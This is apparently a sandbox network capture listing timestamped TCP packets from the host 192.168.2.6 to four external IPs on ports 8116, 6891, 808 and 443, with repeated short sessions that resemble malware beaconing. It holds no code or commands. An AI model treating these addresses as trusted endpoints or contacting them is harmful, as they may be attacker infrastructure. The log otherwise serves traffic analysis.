Oct 28, 2021 05:00:32.693725109 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.693756104 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.696679115 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.750324965 CEST	8116	50133	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:32.807547092 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:32.807660103 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:32.807730913 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.808538914 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.812026978 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:32.812066078 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:32.812182903 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:32.812328100 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.812458992 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.812896013 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:32.812922955 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:32.978722095 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:32.978775024 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:32.978790998 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:33.303957939 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:33.304187059 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:33.305166960 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:33.305179119 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:33.312665939 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:33.312691927 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:33.312787056 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:33.312799931 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:33.359411001 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:33.359428883 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:33.359534979 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:33.359591007 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:33.367382050 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:33.488965988 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.533708096 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:33.537847042 CEST	8116	50136	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:33.538028955 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.538844109 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.587596893 CEST	8116	50136	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:33.587935925 CEST	8116	50136	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:33.588035107 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.588774920 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.593008995 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.593149900 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.641839027 CEST	8116	50136	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:33.812639952 CEST	8116	50136	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:33.812669039 CEST	8116	50136	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:33.812809944 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.819628954 CEST	50136	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:33.868382931 CEST	8116	50136	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:33.941634893 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:33.941683054 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:33.941795111 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:33.942461967 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:33.942476988 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:34.002846956 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:34.002906084 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:34.002979040 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:34.003022909 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:34.007997036 CEST	50135	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:34.008038998 CEST	443	50135	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:34.154522896 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:34.315367937 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:34.315469027 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:34.316054106 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:34.457618952 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:34.457727909 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:34.458374977 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:34.458394051 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:34.472781897 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:34.472806931 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:34.472892046 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:34.472901106 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:34.477710962 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:34.477853060 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:34.477921009 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:34.478421926 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:34.481605053 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:34.481693983 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:34.638989925 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:34.642112970 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:34.642134905 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:34.642151117 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:34.642165899 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.023957968 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.023999929 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.024106979 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.024190903 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.027565956 CEST	50138	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.141056061 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:35.175827980 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:35.175910950 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:35.175977945 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:35.176033020 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:35.183821917 CEST	50137	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:35.183876991 CEST	443	50137	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:35.188128948 CEST	808	50138	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.306212902 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:35.306457996 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:35.307145119 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:35.364168882 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.472428083 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:35.472486019 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:35.472592115 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:35.473192930 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:35.476813078 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:35.477063894 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:35.526155949 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.526421070 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.527292967 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.642049074 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:35.642102003 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:35.642138958 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:35.689109087 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.689317942 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.689424992 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.691203117 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.697006941 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.697144985 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:35.853055954 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.858876944 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.858895063 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.858902931 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:35.858910084 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:36.033987045 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:36.034029007 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:36.034121037 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.037003994 CEST	50139	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.156028032 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.202214003 CEST	6891	50139	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:36.216236115 CEST	8116	50141	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:36.216377020 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.217067957 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.246332884 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:36.246439934 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:36.246566057 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:36.246619940 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:36.254296064 CEST	50140	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:36.278165102 CEST	8116	50141	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:36.278202057 CEST	8116	50141	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:36.278300047 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.279022932 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.282900095 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.283037901 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.342984915 CEST	8116	50141	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:36.343565941 CEST	8116	50141	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:36.380621910 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.416260958 CEST	808	50140	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:36.514209986 CEST	8116	50141	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:36.514241934 CEST	8116	50141	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:36.514285088 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.514318943 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.516412020 CEST	50141	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:36.547053099 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:36.547318935 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.548289061 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.576391935 CEST	8116	50141	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:36.623822927 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:36.623867989 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:36.623989105 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:36.624543905 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:36.624558926 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:36.714637995 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:36.714788914 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:36.714885950 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.715445995 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.719486952 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.719621897 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:36.885926962 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:36.885951996 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:36.922532082 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:37.154922009 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.155075073 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.155682087 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.155694008 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.161798954 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.161808014 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.161955118 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.161967039 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.278095007 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:37.278209925 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:37.278290987 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:37.278352022 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:37.286139965 CEST	50142	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:37.410703897 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.452380896 CEST	6891	50142	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:37.457712889 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.457814932 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.458452940 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.505373001 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.505629063 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.505702019 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.506268024 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.510078907 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.510207891 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.557075977 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.557368994 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.557774067 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.742646933 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.742675066 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.742734909 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.742809057 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.750015974 CEST	50144	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:37.797805071 CEST	8116	50144	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:37.873868942 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.873954058 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.873972893 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.874027967 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.874039888 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.874085903 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.877157927 CEST	50143	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.877185106 CEST	443	50143	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.880603075 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.880649090 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:37.880728960 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.881407976 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:37.881431103 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:38.046981096 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.211113930 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.211236000 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.212167978 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.375343084 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.375472069 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.375560045 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.376162052 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.379786015 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.379897118 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.397790909 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:38.397967100 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:38.398576975 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:38.398591995 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:38.403826952 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:38.403841972 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:38.403944969 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:38.403954983 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:38.539134979 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.542448044 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.542479038 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.542582989 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.925122976 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.925148010 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:38.925295115 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.927742004 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:38.927953005 CEST	50146	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:39.049437046 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.092370987 CEST	808	50146	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.113131046 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:39.113214970 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:39.113301039 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:39.113425016 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:39.128592968 CEST	50145	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:39.128633976 CEST	443	50145	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:39.215068102 CEST	6891	50147	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:39.215209961 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.216258049 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.350501060 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:39.381807089 CEST	6891	50147	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:39.381838083 CEST	6891	50147	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:39.381952047 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.382514954 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.386210918 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.386591911 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.516311884 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.516509056 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:39.517326117 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:39.558324099 CEST	6891	50147	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:39.596008062 CEST	6891	50147	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:39.680248976 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.680282116 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.680495977 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:39.681201935 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:39.686336040 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:39.686453104 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:39.848157883 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.849271059 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.849288940 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.849298954 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.849313974 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:39.935976028 CEST	6891	50147	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:39.936009884 CEST	6891	50147	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:39.936131954 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.936178923 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:39.938996077 CEST	50147	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:40.046459913 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.104295969 CEST	6891	50147	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:40.107325077 CEST	8116	50149	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:40.107556105 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.108334064 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.168978930 CEST	8116	50149	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:40.169105053 CEST	8116	50149	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:40.169163942 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.169740915 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.173852921 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.174019098 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.234611034 CEST	8116	50149	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:40.235260010 CEST	8116	50149	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:40.236356020 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:40.236378908 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:40.236424923 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:40.236454964 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:40.243850946 CEST	50148	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:40.364037991 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:40.404324055 CEST	8116	50149	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:40.404344082 CEST	8116	50149	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:40.404392004 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.404417992 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.406502962 CEST	808	50148	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:40.407529116 CEST	50149	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:40.468115091 CEST	8116	50149	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:40.515793085 CEST	50151	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:40.515829086 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:40.515918970 CEST	50151	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:40.516489983 CEST	50151	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:40.516498089 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:40.529377937 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:40.529483080 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:40.530244112 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:40.695508957 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:40.695561886 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:40.695642948 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:40.696208000 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:40.701364040 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:40.701528072 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:40.866771936 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:40.866790056 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:40.866797924 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:41.019788980 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.019972086 CEST	50151	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:41.020735025 CEST	50151	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:41.020742893 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.025636911 CEST	50151	443	192.168.2.6	192.46.210.220
